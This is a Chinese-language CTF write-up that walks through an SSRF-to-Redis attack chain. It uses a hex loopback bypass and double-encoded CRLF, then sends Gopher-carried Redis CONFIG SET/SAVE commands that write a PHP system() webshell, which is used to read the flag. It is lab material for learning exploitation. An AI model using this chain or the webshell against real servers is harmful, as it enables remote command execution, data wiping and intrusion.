DASCTF HTTP-CTF2:SSRF + Redis 写入 WebShell

记录通过 SSRF、Gopher 和 Redis 写入 WebShell 的完整题解与利用链分析。

  • #CTF
  • #SSRF
  • #Gopher
  • #Redis
  • #WebShell
  • #RCE

本文仅用于授权靶场和本地实验环境。文中的密码、地址和截图均与具体题目环境有关,不应直接用于其他目标。

一、题目概况

  • 入口存在 SSRF,支持 http、https、gopher、dict 等协议。
  • 存在内网 IP 过滤,可以尝试使用 0x7f000001 表示 127.0.0.1。
  • 本地 hint.php 提示 Redis 密码为 root。
  • 最终目标是通过 SSRF 操作内网 Redis,写入 WebShell 并获取 flag。

二、关键限制与绕过

限制点 处理思路
内网 IP 过滤 使用 0x7f000001 代替 127.0.0.1,具体效果取决于解析器
正则过滤换行 对 %0D%0A 进行双重 URL 编码,形成 %250D%250A
Redis 需要认证 在 RESP 命令中先执行 AUTH root

三、完整利用链

1. 访问 hint.php 获取提示

在授权题目环境中访问:

?url=http://0x7f000001/hint.php

得到提示:redispass is root。这里的 root 只是本题环境中的 Redis 密码。

2. 构造 Gopher 请求写入 WebShell

需要将 Redis 命令按 RESP 格式组织,并通过 Gopher URL 发送。主要命令包括:

AUTH root
FLUSHALL
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET webshell "<?php system($_GET['c']);?>"
SAVE
QUIT

FLUSHALL 会清空 Redis 数据库,只能在隔离靶场中使用。实际请求还需要根据过滤逻辑对换行符进行双重 URL 编码。

3. 访问 WebShell 获取 flag

/shell.php?c=cat+/flag

由于 SAVE 生成的是包含 RDB 数据的文件,响应中可能夹杂二进制乱码;题目结果需要在输出中定位。原始结果已从配图和正文中脱敏处理。

Redis AUTH 成功响应

WebShell 响应(已脱敏)

四、核心知识点

1. SSRF 与 Gopher

SSRF 提供请求入口,Gopher 可以承载自定义 TCP 数据,因此能够将 Redis RESP 请求发送到内网 Redis 服务。

2. 双重编码的本质

过滤阶段和最终执行阶段的解码次数不同:第一次解码后,内容可以绕过换行过滤;后续再次解码后,才还原为真正的 \r\n 并发送给 Redis。

3. Redis 写文件与 RDB 污染

SAVE 写入的是完整 RDB 文件,不是干净的 PHP 文件,因此文件中会出现乱码或二进制内容。题目中 PHP 仍能解析其中的代码,说明“文件能写入”还需要结合 Web 服务器的解析方式验证。

4. 参数传递

system($_GET['c']) 会把查询参数作为系统命令执行。URL 查询参数中,空格可以使用 + 或 %20 表示。

五、攻击链全景

                    SSRF (漏洞入口)
                     │
                【信息搜集】
                     ▼
             绕过 127.0.0.1 过滤
                     │
              0x7f000001 (认知偏差绕过)
                     │
                     ▼
                  hint.php
                     │
          (获取 Redis 密码: root)
                     │
                【权限绕过】
                     │
              任意文件写入 (file_put_contents)
                     │
                     │ POST 参数控制
                     ▼
                  Gopher (协议利用)
                     │
                     ▼
                  Redis (内网服务)
                     │
              密码:root (认证通过)
                     │
                【持久化控制】
                     ▼
             CONFIG SET dir (改路径)
                     │
             CONFIG SET dbfilename (改文件名)
                     │
                     ▼
             写入 PHP Payload (恶意代码)
                     │
                     ▼
                    SAVE (触发写盘)
                     │
                【代码执行】
                     ▼
                 shell.php (落地 Web 目录)
                     │
              PHP 解析执行 (Web 服务器)
                     │
                     ▼
                  system() (命令执行)
                     │
                     ▼
                    RCE (远程命令执行)
                     │
                【获取目标】
                     ▼
                  FLAG (赛题结束)

六、复盘 Tips

看到危险函数时,不要默认它就是利用终点。遇到:

file_put_contents($file, $data);

应继续确认:

  1. 能写到哪里;
  2. 能写入什么内容;
  3. 写入后由谁读取或解析;
  4. 最终是否能够执行。

这道题的完整链路是:

SSRF → Gopher → Redis → RDB 文件写入 → PHP 解析 → RCE

漏洞存在不等于可以直接利用,需要把每一环的输入、解析方式和权限条件串起来验证。

工具说明

  • Burp Suite:构造和观察 SSRF 请求、编码参数及响应。
  • Python:构造 Gopher URL 和处理二次 URL 编码。
  • Redis RESP 转换工具:辅助把可读的 Redis 命令转换为 RESP 原始数据,见 Redis RESP 转换工具使用说明。
  • redis-to-resp GitHub 项目:RESP 转换工具源码。